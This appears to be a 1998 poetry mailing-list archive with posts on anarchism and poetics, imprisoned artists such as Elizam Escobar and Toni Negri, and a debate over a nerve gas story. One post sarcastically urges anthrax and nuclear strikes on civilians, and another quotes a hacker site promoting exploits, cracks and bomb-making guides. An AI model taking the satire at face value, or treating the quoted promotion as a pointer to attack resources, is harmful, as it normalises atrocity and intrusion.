His works have been published in several magazines including Beginnings and Currents. He published a series in De Pie y En Lucha and soon will finish a collection entitled The Onthological War Against the Art Market: An Act of Liberation. His works have also appeared in the Anthology of Latino Poets in New York. Some of his more recent illustrations can be found in Cuadernos de Poetica, published in the Dominican Republic. Quimera Editors published his book, Speech in the Night and Sonia Semenovena, while another article appeared in the art magazine, Left Curve.[http://www.wco.com/~leftcurv]

Since April 4, 1980 Elizam has been serving a 68-year prison sentence, accused of seditious conspiracy. He was later accused of being a member of the Armed Forces of Puerto Rican National Liberation (FALN).
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Maybe Manuel Brito could get some interesting responses to the project he is working on by hooking up to these sites, which gives Elizam Escobar's address in Prison, and if you are editing a book of some kind on this subject maybe Elizam Escobar #88969-024 would contribute a piece, from the Belly of the Beast, so to speak).

==========

If your like me you may n

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

↑ Index

246. Christian Roess
Re: [Re: Anarchy
Tue 9 Jun 1998

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

↑ Index

247. **Christian Roess**

Re: [Re: Anarchy]&Elizam Escobar

Tue 9 Jun 1998

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> Anarchism continues to have a strong input in poetic, visual and
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_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

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248. Christian Roess

Re: [Re: Anarchy]&Elizam Escobar

Tue 9 Jun 1998

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==========

If your like me you may need some convincing~~>Ok, ok, another case of "artists" being unfairly incarcerated brings to mind Norman Mailer's campaign

to free Jack Abbott, who then got out and stabbed a woman to death (if I am remembering correctly).

Well, there is an astonishing piece on Left Curve's Website by John Berger (yes, THE John Berger) called "Steps Toward a Small Theory of the Visible(with an exchange of letters between the author and Elizam Escobar) which is astounding. Trust your own judgement and see for yourself.

==========
Here's the address for _Left Curve_...go to issue #21 to hook up to the John Berger piece:

http://www.wco.com/~leftcurv/lc21contentstx.html
==========

In the magazine version of Left Curve No.21(which is apparently different from the Website version) Elizam Escobar has an essay which I only read part of but he has been an attentive reader of Nietzsche and Blanchot (whom he quotes extensively.....Pierre Joris might be very interested in this piece).

==========

As anyone heard of Toni Negri? This from a website at _leftcurve_:

Toni Negri, radical philosopher and activist whose writings are well- known throughout the world, has been in prison in Rome since July 1, 1997. He has been sentenced to more than 13 years in prison, not counting another conviction that is now in the appeal process. After residing in France in exile since 1983, he returned to Italy voluntarily in the hope that his action would contribute to the resolution of the problem of the exiles and prisoners who are wanted or convicted for the political activities of the1970s in Italy, the so-called "years of lead." About 180 people are still in Italian prison under these charges and about 150 are in exile, the majority of them in France.

I would love to hear response by the way to the wonderful Berger piece "Steps Toward a Small Theory of the Visible" whenever anyone gets a chance to read this piece. (Back channel it to me if you like)

(By the way, the 100th anniversary of Puerto Rico's invasion by the United States is coming up this July. I suppose there will be many readings, demonstrations, art exhibits around various U.S. cities). ==========

More Elizam Escobar addresses:

[1]http://netdial.caribe.net/~leviatan/puerto_rico_prisoners.html

[2]http://www.amandla.org/osepp/news/dylcia.html

[3]http://www.geocities.com/CapitolHill/Lobby/5919/Elizampg.html

[4]http://www.igc.apc.org/justice/prisons/pps+pows/descrip/pr-pows/elizam-escobar.html

==========

".".no pain has been or shall be able to tempt me into giving false testimony about life as I recognize it." - Nietzsche

"...only if I expected truth can I suffer lies as evil... only the dead know no evil and pain." - Hegel

I wonder?

Chris

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

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249. **Aviva Vogel**
Jorie Graham Essay
Tue 9 Jun 1998

This is a multi-part message in MIME format.

--part0_897443993_boundary

In a message dated 98-06-09 09:13:38 EDT, [redacted] writes:

>
>
> ---------- Forwarded message ----------
> Date: Mon, 8 Jun 1998 23:27:47 EDT
> From: [redacted]
> To: [redacted]
> Subject: Jorie Graham (Very Belatedly)
>
> I've been following the Jorie Graham thread, and have meant repeatedly to
> add
> some comments. Instead, I offer access to a thesis I recently finished.
It
> can be accessed at:
>
> http://members.aol.com/aviva000/Poetics/JGraham.htm
>
> It's approximately 50 pages, but loads quite quickly, as there are no

> graphics. You don't have to go through a website or homepage to get to this
> essay--it'll appear immediately without barriers!
>
> I think that this might be the most efficient, and hopefully useful, way to
> add some comments (that may intrigue or irritate, provoke or bore...who
> knows???) to the discussion. I care about Jorie Graham's work, and didn't
> want to completely ignore this opportunity to offer my own experiences with
> her poetry.
>
>

--part0_897443993_boundary

air-za04.mail.aol.com (v43.25) with SMTP; Tue, 09 Jun 1998 09:13:38 -0400
by rly-za04.mx.aol.com (8.8.5/8.8.5/AOL-4.0.0)
with SMTP id JAA15843;
Tue, 9 Jun 1998 09:13:30 -0400 (EDT)
9 Jun 98 9:05 EDT
(8.8.5/8.6.6) with SMTP id JAA28654 for <[redacted]>; Tue, 9 Jun 1998 09:05:13 -0400
Date: Tue, 9 Jun 1998 09:05:13 -0400 (EDT)
From: Dawn McCarra Bass <[redacted]>
To: [redacted]
Subject: Jorie Graham (Very Belatedly) (fwd)

---------- Forwarded message ----------
Date: Mon, 8 Jun 1998 23:27:47 EDT
From: [redacted]
To: [redacted]
Subject: Jorie Graham (Very Belatedly)

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to the discussion. I care about Jorie Graham's work, and didn't want to completely ignore this opportunity to offer my own experiences with her poetry.

--part0_897443993_boundary--

↑ Index

250. Alan Myouka Sondheim
Don't try this at home
Tue 9 Jun 1998

-

Saying Yes to Nikuko, Nikuko Bravura:

{k:1} yes nikuko >> zz

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251. **Erik Sweet**

Re: Don't try this at home

Wed 10 Jun 1998

In a message dated 69/98 10:59:35 PM, you wrote:

<<nikuko nikuko nikuko smurfs nikuko nikuko nikuko nikuko nikuko nikuko
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---------- Headers ---------- air06.mail.aol.com (v44.7) with SMTP; Tue, 09 Jun 1998 23:59:34 -0400

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252. KENT JOHNSON
Nerve gas
Wed 10 Jun 1998

On 9 June, Morpheal wrote:

> *It really is not that hard to understand. Simply that the lives of many are valued more than the lives of the few, where both are in the same balance. That logic is simple enough.*
>
> *I would agree that mistakes happen, and particularly in the complicated psychological and technical jungle of modern warfare. I do not know if a particular incident was a mistake in terms of there being a more viable option or whether it was the only viable option to save the most human lives within the context of the military action in progress.*
>
> *I can only speak to the principles, not the specifics of that incident.*

Finally, a Scientific American reader with some nuts and bolts political and ethical sense! I say that when the U.S. goes back to the Persian Gulf or Central America or maybe Indonesia to save the natives from themselves it should keep Morpheal's simple formula in mind: Use whatever it takes on hold-out villages if it will arguably result in fewer losses to our forces and shorten unfriendly

resistance to the military action in progress. And come to think of it, if I can add my two cents to Morpheal's sound and simple line of argument, keep the anthrax handy too. If necessary, that will quickly take the fight out of Charlie--not to mention any brainwashed defectors from our side-- and could well save quite a few lives when everything is factored in.

Of course, I'm sure Morpheal would agree with me that such actions--particularly when we are temporary guests in another land--must only be undertaken as a _last resort_ and be guided, always, by the foremost of all principles-- the hypothetical preservation of the greatest number of human lives, for human life, as we civilized people know, is the bottom line. And I'm sure he'd also caution that military and political leaders forced to make such decisions in the jungle of modern warfare should realize from the get-go that they may forever be burdened with the angst of having possibly made a "mistake"-- as even Saddam Hussein must be burdened by the gassing of Kurdistan, though he believes in his heart that it was done to save many others from unnecessary death and suffering. (Of course, the thing with the Kurds was obviously a _mistake_, and so I _am not_ defending Saddam Hussein in any sense here. I said he probably "believes" he saved many more lives. The man is a threat to the world, and if we'd made the tough decision and precision-nuked Baghdad some years ago, the planet would now be --simple logic-- a less dangerous place.)

And the planet _is_ a complicated place R. Gancie, whoever you are, much more complicated than you realize. So stop it, will you, with your empty and bleeding-heart rant about nerve gas and just stick to neutrinos or something along those lines. As Morpheal brilliantly summed it all up, "We are where we is because we were where we was."

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253. Jim Andrews
descending murderous net
Wed 10 Jun 1998

One of the most startling realizations of the Gulf war for me, independent of how I feel about whether that war was justified or not, was this: when nations come to the brink of war and an ultimatum is issued, it can never be a bluff. And once the war begins, it is a fight to the death of many and all civilized norms about 'fair fighting' become irrelevant in the face of the necessity to end it unequivocally and quickly. The first options considered are those that will win quickest and most decisively. The only reasons chemical or nuclear weapons might not be used in such a situation would relate to the fallout the perpetrators might suffer, not the other side, civilian or military.

This is the hellish logic of war when it happens. Defectors are traitors or have been broken and turned into weapons against the nation they are now fighting against and will be murdered as quickly as the enemy, perhaps with more sympathy than otherwise, but no less quickly, given the opportunity.

Morpheal was not arguing the moral stature of such realities, only pointing out their existence once a state of war has descended.

> *----------*
>
> *Date: Tue, 9 Jun 1998 12:41:00 -0700*
> *From: Mark Weiss <[redacted]>*
> *Subject: Re: [Fwd: MEDIA FRENZY?] No doubt not that simple.*
>
> *Your argument would justify almost any wholesale slaughter, as in "Gosh, those Romans are suffering" (Atilla the Hun), or, "Gee, it must be hard being a Jew" (Adolph Hitler), or, "Saigon's a lousy place to live" (Richard Nixon).*
>
> *At 01:31 PM 6/9/98 -0400, you wrote:*
> *I've been listening to the media reaction to the nerve gas story. the defense*
> *department says there's no documented history of any use of nerve gas, or targeting defectors with extreme prejudice. .....*
> *the elite to desensitize a populace sensitized by the war has succeeded, and anything is possible; chomsky can crawl home to die -- the propaganda war has*
> *been lost, and only subversion is believable. joe*
>
> *Though it is the furthest from poetry yet, the Russians had chemical warfare materials in the 1960s. The Chinese might have had some too. It is not a very complicated technology.*
>
> *It is the defectors who were the losers in the propaganda war, regardless of any further analysis as to historical outcome. They were not really defectors, but instead "prisoners of war", of a peculiar kind. Their minds twisted beyond any semblance of sanity by a constant barrage of radio frequencied Hanoi propaganda.*
> *The psychological warfare side of Nam has yet to be written, and much of what was endured is still presumably too classified to become historical data.*
>
> *The usual strategy is to attempt, often at high cost in assets, to liberate prisoners of war. If that fails, then the second strategy is to attempt to minimize damage, in terms of preventing increased human suffering being brought upon a larger number. In effect, actions meant to minimize, or at least decrease immediate and long term damages to one's own assets. Consideration is usually given, if possible, to the sufferings being endured*

> *by the prisoners. Presumably the defectors in question were not being tortured into defecting, but I do not know if we have that side of that story right either. Some prisoners defected as the result of brainwashing and torture. Some were technical specialists that the Soviets badly wanted to break, in order to gain larger advantage than that which could be attained solely within the limited geographic space of Vietnam. So it is very very complicated. The news media typically oversimply, while other sources attempt to obfuscate the brutal and horrific truths as to the nature of human military conflict in any overt confrontation.*
>
> *M.*

--
V I S P O ~ L A N G U (I M) A G E
http://www.islandnet.com/~jandrews/mocambo/jimvispo.htm

↑ Index

254. George Bowering
Re: WHOOPS
Wed 10 Jun 1998

> *if the "rachel" involved is the same rachel that's been hanker-panking with bromide and bowwowing, i consider this info public property and wish to be enlightned still further.*

Hey, she's been hanking with me more than she has with Bromide. The latter is a shy English gentleperson who has to be hit over the head before he knows someone is coming on to him. He writes good aromatic poetry, though.

And if you are in his neighbourhood, you should snaffle a photo of him in his famous straw hat and scan it into the net.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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255. George Bowering
Re: [Fwd: MEDIA FRENZY?] No doubt not that simple.
Wed 10 Jun 1998

> *It is the defectors who were the losers in the propaganda war, regardless of any further analysis as to historical outcome. They were not really defectors, but instead "prisoners of war", of a peculiar kind. Their minds twisted beyond any semblance of sanity by a constant barrage of radio frequencied Hanoi propaganda.*

I was with you till you got to the word "Hanoi."

I had made the normal assumption that some young people in that theatre of war would notice what was obvious to the rest of the world--that though such a thing is only relative, the US was the wicked power in that war, and the Vietnamese were defending themselves YET AGAIN against invaders from elsewhere. It is only to be hoped that a few young people would get free of Washington brainwashing and decide to leave the repugnant invaders. The adjective was fulfilled by subsequent action, one might point out.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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256. George Bowering
Re: attachments / baraka
Wed 10 Jun 1998

> *p.s. I heard a rumor that Amiri Baraka has a role in the new Warren Beatty flick, Bulworth. Is this true?*
>
> *true as Truman / returns repeatedly as unkempt, wigged out street zany to accost the errant politician with, among other lines, "you can't be no ghost, you got to be a spirit!" -- or something to that effect / sorry if the quote's off a bit*
>
> *bill*

Pretty close. And the quotee is Albert Ayler.

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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257. George Bowering

Re: [Fwd: MEDIA FRENZY?] No doubt not that simple.

Wed 10 Jun 1998

> *If 20 men were in a position to cost the lives of hundreds or even thousands of other troops, as an officer your responsibility would be to prevent that from happening. Sometimes that means by any means necessary.*

Now you're talking! That would justify killing John Kennedy and his cabinet, right?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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258. david bromige

Latenite jazz from Radio Bowering

Wed 10 Jun 1998

The Great List stops its seething & about the same time my daughter overhea(r)d ceases singing "Monotony" Quietness holds the house Here come the Blues I write on the HD Then empty & spent Tune in for some news Hey! Bowering's laying it down Sounds 'on' tonight Right re my shyness Damnable trait Kept me out of much trouble Right re whose nation Vietnam is All the demons from Hell Found out in the end And he's there with the source of Amiri's quote So I write him in public this grateful mash-note
David

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259. **d.j. huppatz**
[Re: Anarchy] Negri
Wed 10 Jun 1998

>As anyone heard of Toni Negri? This from a website at _leftcurve_:
>
> Toni Negri, radical philosopher and activist whose writings are well- known
>throughout the world, has been in prison in Rome since July 1, 1997. He
has been
>sentenced to more than 13 years in prison, not counting another conviction
that
>is now in the appeal process. After residing in France in exile since
1983, he
>returned to Italy voluntarily in the hope that his action would contribute to
>the resolution of the problem of the exiles and prisoners who are wanted or
>convicted for the political activities of the1970s in Italy, the so-called
>"years of lead." About 180 people are still in Italian prison under these
>charges and about 150 are in exile, the majority of them in France.

Chris

Negri wrote an interesting book with Felix Guattari called "Communists Like Us: New Spaces of Liberty, New Lines of Alliance". It was published in France in 1985 & translated & published in english in 1990 by Semiotext(e) (who also, I believe, translated & published another of Negri's books). From the back cover of Communists Like Us: "The project: to rescue "communism" from its own disrepute. Once invoked as the liberation of work through mankind's collective creation, communism has instead stifled humanity. We who see in communism the liberation of both collective and individual possibilities must reverse that regimentation of thought and desire which terminates the individual."

The book is an attempt at rethinking the political left, post-1968, a bit romantic at times (that's prhaps why I like it) but raises interesting possibilities - the production of subjectivity & the production of new social alliances are the key forces for new revolutionary change (from memory).

Negri is apparently still hanging around Paris, a friend of mine met him there last year. She said he didn't look at all like she'd imagine an Italian anarchist to look like - he was immaculately groomed & wearing a suit. But they were going to the opera...

Danny
Melbourne

↑ Index

260. Marcella Durand
address-seeking
Wed 10 Jun 1998

Does anyone know e-mail, address, phone # or other contact info for:

Nicole Brossard

or

(and this is a long shot)

Nawal el Saadawi

??

Backchannel to [redacted]

Thanks,
Marcella

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261. J. Kuszai
Re: Anarchy
Wed 10 Jun 1998

Roger Farr's post is interesting and forwards these issues, yet I'm troubled because I don't see the disentangling of terms and the confusions about "aesthetic anarchism" leading to a sense of where or how this debate could even be framed. Thanks to Don for pointing out the west coast branches of this "movement". Let me try to get my bearings a little on this topic.

> *Perhaps making a distinction between anarchist "aesthetics" (a more recent development, born out of the collapse of the anarchist movement in the 30's) and the anarchist movement itself, with which very few poets and artists have been involved, would be useful . . .*

If you mean anarchism as "popular" political force, then didn't anarchism die out after Haymarket? Didn't it die out after the round-up of anarchists after the assasination of McKinley at the Pan Am Expo in Buffalo at the turn of the century? Or do you refer to the Civil War in Spain? The suggestion that an anarchist aesthetics develops out of the collapse of the movement is very interesting & I'd like to hear more about this. It seems to me that anarchism gains quite a bit of momentum during the war, when the unions and the communists capitulated to the war fever. In fact, the anarchists pulled some of the disenfranchised lefties (Macdonald, Goodman, among others) in that direction because their opposition to the war led to their estrangement from publishing circles such as the Partisan Review, etc.

It was Mac Low who introduced Goodman to the Why circle, which did meet for years at the Lower Broadway Spanish Anarchist meeting hall. For an interesting "account" of the later end of that time, see Judith Malina's diary, for it was Mac Low who brought her and Julian Beck to those meetings for the first time. Other members of that group included Moe Moskovitz, of Moe's Books fame, and even a very young poet named Irving Feldman, who has taught at UBuffalo for 30 some odd years. I'd be very curious to know more about that group and the accounts I've read of the meetings are very interesting indeed.

I don't agree that poets and artists haven't been involved in the struggle. The list from the 20s,30s & 40s is long enough. Auden included Dachine Rainer in his anthology and her 1948 chapbook is a very interesting little document, which is also "forthcoming" from meow press in the future as part of the "anarchist poets from the 1940s reprint series." She married a man named (Scott, I think) Ballantine who was the nephew of Emma Goldman, or the grand nephew and she is very elderly and lives in London, I think. Before that she lived in the woodstock area with Holley Cantine, who was killed in a fire (?) in the late forties or early 50s I'm not sure. But Dachine Rainer was a known poet at the time. Obviously Duncan and Mac Low, who met yes at one of those meetings. Don mentioned others, but list is longer. All of those magazines (Cantine and Rainer edited (((AND HAND PRINTED!!)) Retort, "an anarchist quarterly".

The question is, it seems to me, how do you want to define anarchist. Do you really want to include Thoreau? Do you want to leave him out? Do we accept tactical responses to repressive uses of central authority, or only strategic ones?

Roger continues:
>
> Anarchist aesthetics first appear in the modernist avant-garde
> as images of terrorist violence and "chaos" -- quite at odds
> with the anarcho-pacifism of JML, Cage, Duncan, Levertov,
> Rexroth, Snyder, Ginsberg, et al. After the horrors of
> WW II, Hiroshima and Nagasaki, such images no longer
> resonate the they once did.

Personally, I think that the "terrorist violence and 'chaos'" associated with anarchists is an image that dates back to Haymarket and is part of the popular mythology. Alexander Berkman did try to kill Frick but Czolgoz (sp?) who killed McKinley was NOT an anarchist but a disturbed person who once heard Emma Goldman speak. (btw, you can view an early Edison film of his execution at the Library of Congress' American Memory website). Whether Sacco and Vanzetti actually killed (i.e. murdered) anyone isn't relavant to their association with

anarchists. Whether they were framed (if they were framed) for being anarchists, however, may be.

But is the representation of anarchists, of "bomb-throwing" and terror and chaos, is that really what constitutes an anarchist aesthetics here? I don't think so. Is "Guernica"? maybe. That's getting closer. Does anarchism become simply an analogy for ones relation to the materials? (i.e. decenterd author/reader) "groovy chaotic poetry, dude, anarchy!" "Wild stuff! Wild wild stuff" (RIP Phil Hartman, whose impressions of Rich Little and Ben Friedlander brought anarchist aesthetics to TV)

> *poetics? Watten has spoken of an "anarchy of production" in recent poetries, and someone has also mentioned Mayer and Coolidge.*
>
> *Is this "anarchist tendency" at odds with the originally Marxist elements of LangPo?*

Where the hell is Ron Silliman?

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262. daniel bouchard
Re: Anarchy
Wed 10 Jun 1998

I AM A DISTURBED PERSON!

"Czolgoz was not an Anarchist but a Disturbed Person."

Joel,
what a wonderful line. You've given me something to do till lunchtime.

Several recent rational posts on the expediency of killing the opposition have Disturbed me, ergo ego "Disturbed."

One more thing--you wrote:

> *Whether Sacco and Vanzetti actually killed (i.e. murdered) anyone isn't relavant to their association with anarchists. Whether they were framed (if they were framed) for being anarchists, however, may be.*

A double standard?

Whether Sacco and Vanzetti actually killed (i.e. murdered) anyone IS QUITE relavant to their association with anarchists.

In fact, that particular and large group of anarchists were quite into bomb-throwing.

You've read Avrich's "S & V: The Anarchist Background" I'm sure. Anyone interested in S & V (making dozens of appearances in popular American poetry for many years, from WCWilliams to Philip Whalen) should read this book.

-- daniel bouchard

<<<<<<>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<

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263. **J. Kuszai**
Re: Anarchy
Wed 10 Jun 1998

Dan & other Anarcho-hysterians...

Mike Basinski's tour of the East side of Buffalo includes the house where Leon Gzolgoz lived. (I know that's not right spelling, but no one ever gets my name right either)

If you can get past the 500 typos in his book "High Hopes: the Rise and Fall of Buffalo, New York", Mark Goldman tells the story of what happened with some amount of humor. After the expo was a wash due to the hysteria surrounding the death of the Prez, an elephant went on a rampage, trampling some people, etc. In an effort to rejuvinate enthusiasm for the Expo, they sold tickets to the excecution of the elephant. They wired him up to be electrocuted (I guess everyone was pretty impressed by all the lights and the juice flowing thru them). But when a couple shots of electricity didn't do the job (apparently they didn't account for the elephant's thick skin) they let the poor thing live.

I read an "oral history" once about the excecution of Leon C., which stated that he was electrocuted and dissolved in acid and that they burned his clothes (in public, again) in order to placate the terror of the people. This turns out not to be true....alas...

Goldman also tells of how Irish immigrants invaded Canada from Buffalo in an attempt to hold it hostage in order to free Ireland. People knew something was up when suddenly 5,000 young men gathered in the old first ward. When they

rowed across the niagara, the brits were waiting for them and they were thoroughly routed.

I'm sorry if I got the S/C thing wrong. I thought they were "framed" or whatever for murdering people during a botched robbery. I haven't read that book and will at some point. The syntax of my sentence there is flawed. I guess if I am going to rob someone and kill them -- whether I'm disturbed or not -- that has nothing to do with my friends... I've read also that they DID in fact kill those people and that their affiliations were otherwise. If it wasn't in an Avrich book that I read that, I can't remember where...

And on another note, I've been affiliated with "anarchists" at different times in my life, and some of them were in fact quite violent. But that seems to me to have nothing to do with the anarchism to which I subscribe. (and my subscription is about to run out). I.e. there isn't in my mind anything about anarchism per se which necessitates violence. But then all those anarcho-pacifists were reading Ghandi, etc., when all that was happening in India.

Is Timothy McVeigh an anarchist?

Remember, loose lips sink ships...

On Wed, 10 Jun 1998, daniel bouchard wrote:

> *I AM A DISTURBED PERSON!*
>
> *"Czolgoz was not an Anarchist but a Disturbed Person."*
>
> *Joel,*
> *what a wonderful line. You've given me something to do till lunchtime.*
>
> *Several recent rational posts on the expediency of killing the opposition*
> *have Disturbed me, ergo ego "Disturbed."*
>
> *One more thing--you wrote:*
>
> *Whether Sacco and Vanzetti actually killed (i.e. murdered) anyone isn't*
> *relavant to their association with anarchists. Whether they were framed*
> *(if they were framed) for being anarchists, however, may be.*
>
> *A double standard?*
>
> *Whether Sacco and Vanzetti actually killed (i.e. murdered) anyone IS QUITE*
> *relavant to their association with anarchists.*
>
> *In fact, that particular and large group of anarchists were quite into*
> *bomb-throwing.*
>
> *You've read Avrich's "S & V: The Anarchist Background" I'm sure. Anyone*

> *interested in S & V (making dozens of appearances in popular American poetry for many years, from WCWilliams to Philip Whalen) should read this book.*
>
> *-- daniel bouchard*
>
> *<<<<<<>>>>>>>>>>>>>>>>>>*
> *Daniel Bouchard*
> *The MIT Press Journals*
> *Five Cambridge Center*
> *Cambridge, MA 02142*
>
> [redacted]
> *phone:* [redacted]
> *fax:* [redacted]
> *<<<<<<<<<<<<<<<<*

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264. daniel bouchard
Re: Anarchy
Wed 10 Jun 1998

Timothy McVeigh is not an Anarchist, he is a Gulf War Veteran.

Daniel Bouchard is not an Anarcho-hysterian, he a Constructor of Non-Sequiturs.

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

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265. **Henry**
Re: Anarchy
Wed 10 Jun 1998

Wasn't Manuel's original question a search for info on poets connected in some way with anarchism & dissent in the 60s? That's a pretty specific question. I would think the answers would be restricted to poets involved in anarchist or civil disobedient activity in that period, or who tried consciously to reflect that activity in their poems or poetics.

Not to suppress discussion, just to reiterate Manuel's original query. I hope I got it right.

- Henry G

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266. **Don Byrd**
Re: Anarchy
Wed 10 Jun 1998

The nearest thing to an active and self-identified anarchism now is probably the hacker community.

The high-school hacker-cracker anarchistic scene and its funding by web porn is something to ponder. See, for ex., http://www.chaostic.com/. There seem to be hundreds of these sights. Chaostic.com has information on making bombs and classic anarchist stuff, suggestions for disrupting school ("piss in your pants while giving an oral report"), pirated software, hacker software--all the guides and tools for information-age anarchism. It is all technique, no theory. Resistance to authority at its grubbiest.

This from the welcome screen:

"Welcome :-) You have entered on the worlds most illegal explicit site, be careful for your own safety & security on your machine at all times. ChAoS OvEr Da WoRLd is now being updated daily, so keep coming back for more. We are are also maintaining that 100% of all our links are fully functional on

our own site. So please do not link our filez or you will severely pay for it, as
we have done in the past.

"Now operating as the largest hacking/phreaking site on the internet with the

best fully working utilities and exploits to help you investigate the security of
the internet.

"We run this organization purely as a non profit making and have only placed

the banners [i.e. porn ads] to cover our hosting charges. Please do not buy Microsoft
products and if you need to do, the cracks are all on this page. Get a UNIX

based system if you want to hack otherwise your wasting your own time."

db

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267. sylvester pollet
Re: Anarchy
Wed 10 Jun 1998

Does anyone know whether the magazine Drunken Boat, ed. Max Blechman, "The Anarchist Magazine of Literature and the Visual Arts" published more than two issues, or intends to? The first two were/are wonderful. Blechman's Intro to #1 begins:

"I'm sick of these post-modern, post-Marxist, post-structuralist journals of literature and the arts. They're post a lot of things but they're not post-boring." and ends:

"Forget Foucault, NEVER MIND Baudrillard, FUCK DERRIDA. This is the DRUNKEN BOAT."

Last address I had was PO Box 718, NYC 10009, NY. I should have sent money. Maybe it's not too late--anybody know? (I would have been an Anarchist, but I heard you had to join.) sylvester

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268. louis stroffolino
Re: DRUNKEN BOAT
Wed 10 Jun 1998

Well, as far as I know, the DRUNKEN BOAT was a Phila. magazine
(Philly magazine) of the early mid 90s, and i don't know if it
still exists. It might. I think Linh Dinh edited it?????
Of course, there might be two, and Todd Colby's band....
c

On Wed, 10 Jun 1998, sylvester pollet wrote:

> *Does anyone know whether the magazine Drunken Boat, ed. Max Blechman, "The Anarchist Magazine of Literature and the Visual Arts" published more than two issues, or intends to? The first two were/are wonderful. Blechman's Intro to #1 begins:*

> *"I'm sick of these post-modern, post-Marxist, post-structuralist journals of literature and the arts. They're post a lot of things but they're not post-boring." and ends:*
>
> *"Forget Foucault, NEVER MIND Baudrillard, FUCK DERRIDA. This is the DRUNKEN BOAT."*
>
> *Last address I had was PO Box 718, NYC 10009, NY. I should have sent money. Maybe it's not too late--anybody know? (I would have been an Anarchist, but I heard you had to join.) sylvester*

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269. **morpheal**

Re: Nerve gas

Wed 10 Jun 1998

> *Finally, a Scientific American reader with some nuts and bolts political and ethical sense! I say that when the U.S. goes back to the Persian Gulf or Central America or maybe Indonesia to save the natives from themselves it should keep Morpheal's simple formula in mind: Use whatever it takes on hold-out villages if it will arguably result in fewer losses to our forces and shorten unfriendly resistance to the military action in progress. And come to think of it, if I can add my two cents to Morpheal's sound and simple line of argument, keep the anthrax handy too.*

I cannot agree with you. Also, that is misleadingly simple minded.

Corollary to what was already stated, another responsibility of command is to complete the mission with as few civilian casualties as possible, while keeping the losses among one's own and friendly forces minimized. Any mission is a difficult mission, and that is inevitably a delicate balance.

Civilian casualties and collateral damage to infra-structures that are not of significant strategic importance is nothing to write home about. Those casualties of war, being innocent victims, often of fear and political brainwashing as well as of the machinery of outright conflict, are a tragedy in any instance. It is that that inevitably becomes most regretable as to any conflict, even if unavoidable.

Anthrax is a deplorably horrendous means of mass destruction.

We do, however, have need to develop effective detection of chemical and biological weapons, as well as efficient counter-measures and defences. There is a long way to go, on that score, and in fact the battle against potential designer viral and bacteriological agents has hardly begun. It is an arms race, similar to that which was faced when the Soviets and America went up against each other

in the race for nuclear weapons and defences against those weapons. It is an arms race unlike any other, because any nation might develop such lethal and destructive means, and it is far from limited to superpowers.

Also, it is not possible to see a biological or chemical warfare facility as easily as we can see, via satellite, a concentration of nuclear materials sufficient for one nuclear bomb. The latter can, in theory and practice, be spotted and tracked with accuracy.

The other approach, rather than the development of weapons of mass destruction, is the development of effective non-lethal weaponry. It is that area of endeavour that shows the most promise in reducing collateral damage and both opponent civilian and military casualties. Whether that avenue of research can effectively put an end to war, is an interesting question. It might be that the power that evolves that technology far enough so that it is wholly effective, can in effect put an end to war as we have known it in the past.

That does not mean standing down all more conventional forces and weapons, as we never know what new threats might be suddenly poised to strike, either from known or wholly unknown sources of aggression. As peaceful technologies move towards more radical exploration of farther and farther from what we are essentially familiar with a certain increased vigilance and continued development of new means of more potent and varied defence becomes an increasingly important concern. Certainly, I do not believe, that the human race can relax its guard, even if the conflicts upon this planet could be resolved peacefully, and if non lethal means of controlling and eliminating the outbreaks of violent conflict could eventually become the normative. While the latter is not only possible, but likely, there is no reason to believe that we dwell in an essentially friendly space. New frontiers will inevitably mean new species competition, and conflict. It is simply how nature has revealed itself to be and we have no reason whatever to believe that we are a unique instance of evolution in scenarios of conflict, within a much vaster whole. Simple probability says that we will run up against adversaries, somewhere in the future.

M.

aka Bob Ezergailis

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270. Brent Long

Re: descending murderous net

Wed 10 Jun 1998

What does ANY of this have to do with Poetics, pray tell???

At 10:17 PM 6/9/98 -0700, you wrote:
>One of the most startling realizations of the Gulf war for me, independent
of how I feel about whether that war was justified or not, was this: when
nations come to the brink of war and an ultimatum is issued, it can never
be a bluff. And once the war!
> begins, it is a fight to the death of many and all civilized norms about
'fair fighting' become irrelevant in the face of the necessity to end it
unequivocally and quickly. The first options considered are those that will
win quickest and most decisi!
>vely. The only reasons chemical or nuclear weapons might not be used in
such a situation would relate to the fallout the perpetrators might suffer,
not the other side, civilian or military.
>
>This is the hellish logic of war when it happens. Defectors are traitors
or have been broken and turned into weapons against the nation they are now
fighting against and will be murdered as quickly as the enemy, perhaps with
more sympathy than otherwi!
>se, but no less quickly, given the opportunity.
>
>Morpheal was not arguing the moral stature of such realities, only
pointing out their existence once a state of war has descended.
>
>> ----------
>>
>> Date: Tue, 9 Jun 1998 12:41:00 -0700
>> From: Mark Weiss <[redacted]>
>> Subject: Re: [Fwd: MEDIA FRENZY?] No doubt not that simple.
>>
>> Your argument would justify almost any wholesale slaughter, as in "Gosh,
>> those Romans are suffering" (Atilla the Hun), or, "Gee, it must be hard
>> being a Jew" (Adolph Hitler), or, "Saigon's a lousy place to live" (Richard
>> Nixon).
>>
>> At 01:31 PM 6/9/98 -0400, you wrote:
>> >>I've been listening to the media reaction to the nerve gas story. the
>> defense
>> >>department says there's no documented history of any use of nerve gas,
or
>> >>targeting defectors with extreme prejudice. .....
>> >>the elite to desensitize a populace sensitized by the war has
succeeded, and
>> >>anything is possible; chomsky can crawl home to die -- the propaganda

war
>> has
>> >>been lost, and only subversion is believable. joe
>> >
>> >Though it is the furthest from poetry yet, the Russians had chemical
warfare
>> >materials in the 1960s. The Chinese might have had some too. It is not a
>> >very complicated technology.
>> >
>> >It is the defectors who were the losers in the propaganda war,
regardless of
